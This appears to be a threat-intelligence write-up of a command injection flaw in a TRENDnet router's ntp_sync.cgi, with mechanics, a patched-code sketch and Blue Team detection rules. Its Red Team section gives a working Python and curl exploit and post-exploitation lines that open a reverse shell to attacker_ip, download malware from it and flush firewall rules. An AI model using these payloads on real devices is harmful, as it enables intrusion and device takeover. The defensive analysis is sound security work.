CVE-2024-57590

Executive Summary

CVE-2024-57590 is a critical OS command injection vulnerability discovered in the TRENDnet TEW-632BRP router, specifically in firmware version 1.010B31. The flaw resides in the ntp_sync.cgi CGI interface, where the ntp_server parameter is passed unsanitized to a system shell. An unauthenticated attacker can exploit this by sending a crafted POST request, leading to arbitrary command execution on the device. This allows full compromise of the router, including network pivoting, data exfiltration, or use in botnets. No patch is currently available from the vendor, making this a high-priority zero-day for asset owners.

Supply Chain & Package Security

This vulnerability is not in an NPM, PyPI, Go, or Ruby package. It is a firmware-level issue in an embedded device (TRENDnet router). Supply chain risk is limited to the physical device and its firmware distribution.

CVSS Breakdown & Threat Level

CVSS Score: 9.8 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – Exploitable remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): None – No user action required.
• Scope (S): Unchanged – Exploitation does not affect other components.
• Confidentiality (C): High – Full device access.
• Integrity (I): High – Arbitrary commands can be executed.
• Availability (A): High – Device can be bricked or used in DDoS.

Threat Level: Critical. The vulnerability is trivial to exploit, has public proof-of-concept code, and no patch exists. EPSS score is 0.0% due to low scanning volume, but this will change rapidly.

Deep Dive & Mechanics

The ntp_sync.cgi CGI script is designed to synchronize the router's clock with an NTP server. The ntp_server parameter is expected to contain an IP address or hostname. However, the input is not sanitized before being passed to a shell command (likely ntpdate or similar). An attacker can inject shell metacharacters (e.g., ;, |, `, $()) to execute arbitrary commands.

Example vulnerable command (conceptual):

ntpdate -u $ntp_server

If ntp_server is set to 127.0.0.1; id, the shell executes:

ntpdate -u 127.0.0.1; id

This results in the id command being executed after the NTP sync attempt.

The CGI binary is typically owned by root and runs with root privileges, giving the attacker full control over the device.

Vulnerable vs. Patched Code

Vulnerable Code (conceptual C):

void handle_ntp_sync() {
    char ntp_server[256];
    char cmd[512];
    get_cgi_value("ntp_server", ntp_server, sizeof(ntp_server));
    snprintf(cmd, sizeof(cmd), "ntpdate -u %s", ntp_server);
    system(cmd);
}

Patched Code (conceptual):

void handle_ntp_sync() {
    char ntp_server[256];
    char cmd[512];
    get_cgi_value("ntp_server", ntp_server, sizeof(ntp_server));
    // Validate input: only allow IP addresses or hostnames
    if (!is_valid_hostname_or_ip(ntp_server)) {
        log_error("Invalid NTP server");
        return;
    }
    // Use execve to avoid shell injection
    char *args[] = {"ntpdate", "-u", ntp_server, NULL};
    execve("/usr/sbin/ntpdate", args, NULL);
}

The patched version validates the input and uses execve instead of system, preventing shell injection. No official patch is available from TRENDnet.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Obtain a TRENDnet TEW-632BRP router with firmware 1.010B31.
2. Connect to the same network as the router (or ensure the router's web interface is accessible).
3. Identify the router's IP (e.g., 192.168.1.1).

Exploit (Python):

import requests

target = "http://192.168.1.1/ntp_sync.cgi"
payload = "127.0.0.1; id > /tmp/exploit.txt"
data = {"ntp_server": payload}

response = requests.post(target, data=data)
print(f"Status: {response.status_code}")
print("Command executed. Check /tmp/exploit.txt on the router.")

Alternative using curl:

curl -X POST http://192.168.1.1/ntp_sync.cgi -d "ntp_server=127.0.0.1; id"

Post-Exploitation:

• Establish a reverse shell: 127.0.0.1; nc -e /bin/sh attacker_ip 4444
• Download malware: 127.0.0.1; wget http://attacker_ip/malware -O /tmp/malware
• Modify firewall rules: 127.0.0.1; iptables -F

Blue Team

Detection:

• Monitor HTTP POST requests to /ntp_sync.cgi with suspicious ntp_server values.
• Look for shell metacharacters (;, |, &, $(), backticks) in the parameter.
• Alert on outbound connections from the router to unusual IPs (e.g., reverse shell).

Hunting:

• Search logs for ntp_sync.cgi access with non-standard NTP server values.
• Check for processes spawned by ntpdate with unexpected arguments.
• Use network flow data to detect beaconing or data exfiltration from the router.

Containment:

• Block access to the router's web interface from untrusted networks.
• Disable the NTP sync feature if not required.
• Apply a virtual patch using a WAF (e.g., ModSecurity rule to block shell metacharacters in ntp_server).

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /ntp_sync.cgi with ntp_server containing shell metacharacters.
• Outbound connections from the router to unusual IPs on ports 4444, 1337, etc. (reverse shells).
• DNS queries for suspicious domains from the router.

File IOCs:

• Unexpected files in /tmp/ (e.g., exploit.txt, malware).
• Modified system binaries (e.g., ntpdate replaced with a backdoor).

Process IOCs:

• Processes named nc, bash, sh spawned by ntpdate or httpd.
• Unusual child processes of httpd (the web server).

YARA Rule:

rule CVE_2024_57590_Exploit_Request {
    meta:
        description = "Detects exploit attempts for CVE-2024-57590 in HTTP POST requests"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $metachar = /[;&|`$()]/
        $cgi_path = "/ntp_sync.cgi"
    condition:
        $cgi_path and $metachar
}

Detection Engineering

YARA Rule

rule CVE_2024_57590_Exploit_Request {
    meta:
        description = "Detects exploit attempts for CVE-2024-57590 in HTTP POST requests"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $metachar = /[;&|`$()]/
        $cgi_path = "/ntp_sync.cgi"
    condition:
        $cgi_path and $metachar
}

Sigma Rule

title: CVE-2024-57590 OS Command Injection in TRENDnet TEW-632BRP
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to ntp_sync.cgi with shell metacharacters in ntp_server parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: '/ntp_sync.cgi'
        cs-uri-query|contains: 'ntp_server='
    keywords:
        - ';'
        - '|'
        - '`'
        - '$('
        - '&'
    condition: selection and keywords
falsepositives:
    - Legitimate NTP server names containing special characters (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-57590 TRENDnet TEW-632BRP OS Command Injection"; flow:to_server,established; content:"POST"; http_method; content:"/ntp_sync.cgi"; http_uri; content:"ntp_server="; http_client_body; pcre:"/ntp_server=[^&]*[;&|`$()]/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable NTP Sync: If not required, disable the NTP sync feature via the router's web interface.
2. Restrict Access: Block external access to the router's web interface (port 80/443) using firewall rules.
3. Monitor Logs: Enable logging and monitor for exploit attempts.

Long-Term Fix:

• Vendor Patch: Await an official firmware update from TRENDnet. Contact TRENDnet support to request a patch.
• Replace Device: If no patch is forthcoming, replace the router with a supported model.
• Virtual Patching: Deploy a WAF or IPS rule to block shell metacharacters in the ntp_server parameter.

Workaround:

• Manually edit the firmware (if possible) to remove or harden the ntp_sync.cgi script. This is not recommended for non-experts.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert